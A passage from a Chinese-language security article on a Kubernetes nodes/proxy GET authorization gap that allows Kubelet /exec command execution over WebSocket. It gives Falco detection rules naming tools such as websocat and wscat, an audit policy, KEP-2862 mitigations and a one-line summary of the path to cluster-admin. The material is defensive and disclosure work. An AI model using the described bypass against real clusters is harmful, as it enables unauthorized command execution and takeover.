# 限制访问
streamingConnectionIdleTimeout: 5m # 空闲连接超时
6.4 运行时检测
# Falco 规则: 检测直接连接 Kubelet 10250 端口
- macro: kubelet_port
condition: fd.sport=10250 or fd.dport=10250
- macro: kube_apiserver_ip
condition: >
(fd.sip in (k8s_apiserver_ip) or fd.dip in (k8s_apiserver_ip))
- rule: Direct Connection to Kubelet API
desc: >
Detects a pod making a direct connection to the Kubelet API
on port 10250, bypassing the API Server. This could indicate
exploitation of the nodes/proxy GET authorization blind spot.
condition: >
outbound and container and
fd.dport=10250 and
not kube_apiserver_ip and
not proc.name in (kubelet, kube-proxy, kube-apiserver)
output: >
Direct connection to Kubelet API detected
(container=%container.name image=%container.image.repository
proc=%proc.name dest=%fd.dip:10250 namespace=%k8s.ns.name)
priority: CRITICAL
tags: [k8s, privilege_escalation, nodes_proxy]
- rule: WebSocket Connection to Kubelet Exec
desc: >
Detects a WebSocket connection to the Kubelet /exec endpoint,
which could indicate exploitation of the nodes/proxy GET bypass.
condition: >
outbound and container and
fd.dport=10250 and
(proc.cmdline contains "websocat" or
proc.cmdline contains "wscat" or
proc.cmdline contains "websocket" or
proc.cmdline contains "/exec/")
output: >
WebSocket connection to Kubelet /exec detected
(container=%container.name proc=%proc.name
cmdline=%proc.cmdline dest=%fd.dip:10250)
priority: CRITICAL
tags: [k8s, privilege_escalation, nodes_proxy, rce]
6.5 K8s Audit Policy 加固
# audit-policy.yaml — 增强审计策略
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# 记录所有对 nodes/proxy 的访问
- level: RequestResponse
resources:
- group: ""
resources: ["nodes/proxy"]
verbs: ["get", "create"]
# 记录所有 subjectaccessreviews (检测授权探测)
- level: RequestResponse
resources:
- group: "authorization.k8s.io"
resources: ["selfsubjectrulesreviews", "subjectaccessreviews"]
# 记录所有 secrets 访问
- level: RequestResponse
resources:
- group: ""
resources: ["secrets"]
verbs: ["get", "list"]
# 记录特权 Pod 创建
- level: RequestResponse
resources:
- group: ""
resources: ["pods"]
verbs: ["create"]
namespaces: ["kube-system"]
7. KEP-2862 与长期方案
7.1 KEP-2862: Fine-Grained Kubelet API Authorization
Kubernetes 官方的长期解决方案是 KEP-2862,为监控组件提供细粒度子资源:
| 新子资源 | 替代 nodes/proxy 的功能 | 需要 CREATE? |
|---|---|---|
| nodes/metrics | 读取 /metrics | 否 (GET) |
| nodes/stats | 读取 /stats/summary | 否 (GET) |
| nodes/log | 读取 /containerLogs | 否 (GET) |
| nodes/pods | 读取 /pods | 否 (GET) |
| nodes/exec | 执行命令 | 是 (CREATE) |
| nodes/run | 执行命令 | 是 (CREATE) |
7.2 KEP-2862 的三个遗留问题
┌──────────────────────────────────────────────────────────────────┐
│ KEP-2862 的三个遗留问题 │
│ │
│ 问题 1: 时间线 │
│ • 预计 2026 年 4 月在 v1.36 才到 GA │
│ • 大多数集群还没升级 │
│ • 旧版本集群仍然暴露在攻击面下 │
│ │
│ 问题 2: /exec 等写操作无替代 │
│ • nodes/metrics, nodes/stats, nodes/log 有细粒度替代 │
│ • 但 /exec, /run, /attach, /portforward 仍需 nodes/proxy │
│ • 需要 exec 的组件 (如 kubectl debug) 仍暴露在风险下 │
│ │
│ 问题 3: WebSocket verb 映射不变 │
│ • KEP-2862 不改变 WebSocket 的 GET → GET 映射行为 │
│ • 监控组件不再需要 nodes/proxy (问题缓解) │
│ • 但需要 exec 的组件仍可通过 WebSocket 绕过 │
│ • 攻击面缩小但不消失 │
│ │
│ 结论: 这个攻击面在可预见的未来不会完全消失 │
└──────────────────────────────────────────────────────────────────┘
8. 总结
| 维度 | 关键信息 |
|---|---|
| 漏洞性质 | RBAC 授权设计缺陷(非内存破坏),官方 Won't Fix |
| 所需权限 | 仅 nodes/proxy GET(几乎所有监控组件都有) |
| 攻击路径 | WebSocket GET 握手绕过 CREATE 检查 → Kubelet /exec |
| 攻击结果 | 集群内任意 Pod 命令执行 → 集群管理员 |
| 审计盲区 | 直连 Kubelet 不记录命令内容,仅记录 subjectaccessreviews |
| 受影响范围 | 69 个 Helm Chart,v1.34/v1.35 测试通过 |
| 短期防御 | NetworkPolicy 限制 10250 + 移除非必要 nodes/proxy |
| 长期方案 | KEP-2862(v1.36 GA),但不完全消除攻击面 |
| 核心启示 | "只读"权限在 Kubernetes 中不可靠,RBAC verb 语义与 HTTP method 的映射存在盲区 |
Graham Helton 的原话总结:"这是那种攻击者暗自庆幸、运维团队继承了好几年都不知道的'只读'权限。"
免责声明重申:本文所有漏洞分析基于公开的安全研究博客(Graham Helton 的原始披露)和 Kubernetes 官方文档。Kubernetes 官方已将此问题定性为 "Won't Fix / intended behavior"。所有代码和技术细节仅用于理解 RBAC 授权缺陷以构建防御体系。读者必须在授权的测试环境中使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。
浙公网安备 33010602011771号